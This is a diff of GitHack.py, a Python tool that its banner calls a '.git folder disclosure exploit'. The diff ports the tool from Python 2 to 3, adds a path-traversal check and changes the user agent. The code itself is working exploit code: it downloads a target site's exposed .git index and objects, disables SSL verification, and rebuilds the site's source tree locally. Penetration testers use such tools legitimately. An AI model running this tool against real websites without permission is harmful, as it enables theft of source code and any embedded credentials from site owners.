2
2
# -*- encoding: utf-8 -*-
3
3
4
4
import sys
5
- import urllib2
5
+ try :
6
+ # python 2.x
7
+ import urllib2
8
+ import urlparse
9
+ import Queue
10
+ except Exception as e :
11
+ # python 3.x
12
+ import urllib .request as urllib2
13
+ import urllib .parse as urlparse
14
+ import queue as Queue
15
+
6
16
import os
7
- import urlparse
8
17
import zlib
9
18
import threading
10
- import Queue
11
19
import re
12
20
import time
13
21
from lib .parser import parse
14
22
import ssl
15
23
16
24
context = ssl ._create_unverified_context ()
25
+ user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' \
26
+ 'Chrome/99.0.4844.82 Safari/537.36'
17
27
if len (sys .argv ) == 1 :
18
28
msg = """
19
29
A `.git` folder disclosure exploit. By LiJieJie
20
30
21
- Usage: GitHack.py http://www.target.com/.git/
22
-
23
- bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
31
+ Usage: python GitHack.py http://www.target.com/.git/
24
32
"""
25
- print msg
33
+ print ( msg )
26
34
sys .exit (0 )
27
35
28
36
29
37
class Scanner (object ):
30
38
def __init__ (self ):
31
39
self .base_url = sys .argv [- 1 ]
32
40
self .domain = urlparse .urlparse (sys .argv [- 1 ]).netloc .replace (':' , '_' )
33
- if not os .path .exists (self .domain ):
34
- os .mkdir (self .domain )
35
- print '[+] Download and parse index file ...'
36
- data = self ._request_data (sys .argv [- 1 ] + '/index' )
41
+ print ('[+] Download and parse index file ...' )
42
+ try :
43
+ data = self ._request_data (sys .argv [- 1 ] + '/index' )
44
+ except Exception as e :
45
+ print ('[ERROR] index file download file: %s' % str (e ))
46
+ exit (- 1 )
37
47
with open ('index' , 'wb' ) as f :
38
48
f .write (data )
49
+ if not os .path .exists (self .domain ):
50
+ os .mkdir (self .domain )
39
51
self .queue = Queue .Queue ()
40
52
for entry in parse ('index' ):
41
53
if "sha1" in entry .keys ():
42
- self .queue .put ((entry ["sha1" ].strip (), entry ["name" ].strip ()))
54
+ if entry ["name" ].strip ().find ('..' ) < 0 :
55
+ self .queue .put ((entry ["sha1" ].strip (), entry ["name" ].strip ()))
43
56
try :
44
- print entry ['name' ]
57
+ print ( '[+] %s' % entry ['name' ])
45
58
except Exception as e :
46
59
pass
47
60
self .lock = threading .Lock ()
48
- self .thread_count = 20
61
+ self .thread_count = 10
49
62
self .STOP_ME = False
50
63
51
64
@staticmethod
52
65
def _request_data (url ):
53
- request = urllib2 .Request (url , None , {'User-Agent' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)' })
66
+ request = urllib2 .Request (url , None , {'User-Agent' : user_agent })
54
67
return urllib2 .urlopen (request , context = context ).read ()
55
68
56
69
def _print (self , msg ):
57
70
self .lock .acquire ()
58
71
try :
59
- print msg
72
+ print ( msg )
60
73
except Exception as e :
61
74
pass
62
75
self .lock .release ()
@@ -75,15 +88,19 @@ def get_back_file(self):
75
88
data = zlib .decompress (data )
76
89
except :
77
90
self ._print ('[Error] Fail to decompress %s' % file_name )
78
- data = re .sub (r'blob \d+\00' , '' , data )
91
+ # data = re.sub(r'blob \d+\00', '', data)
92
+ try :
93
+ data = re .sub (r'blob \d+\00' , '' , data )
94
+ except Exception as e :
95
+ data = re .sub (b"blob \\ d+\00 " , b'' , data )
79
96
target_dir = os .path .join (self .domain , os .path .dirname (file_name ))
80
97
if target_dir and not os .path .exists (target_dir ):
81
98
os .makedirs (target_dir )
82
99
with open (os .path .join (self .domain , file_name ), 'wb' ) as f :
83
100
f .write (data )
84
101
self ._print ('[OK] %s' % file_name )
85
102
break
86
- except urllib2 .HTTPError , e :
103
+ except urllib2 .HTTPError as e :
87
104
if str (e ).find ('HTTP Error 404' ) >= 0 :
88
105
self ._print ('[File not found] %s' % file_name )
89
106
break
@@ -108,7 +125,7 @@ def scan(self):
108
125
try :
109
126
while s .thread_count > 0 :
110
127
time .sleep (0.1 )
111
- except KeyboardInterrupt , e :
128
+ except KeyboardInterrupt as e :
112
129
s .STOP_ME = True
113
130
time .sleep (1.0 )
114
- print 'User Aborted.'
131
+ print ( 'User Aborted.' )
0 commit comments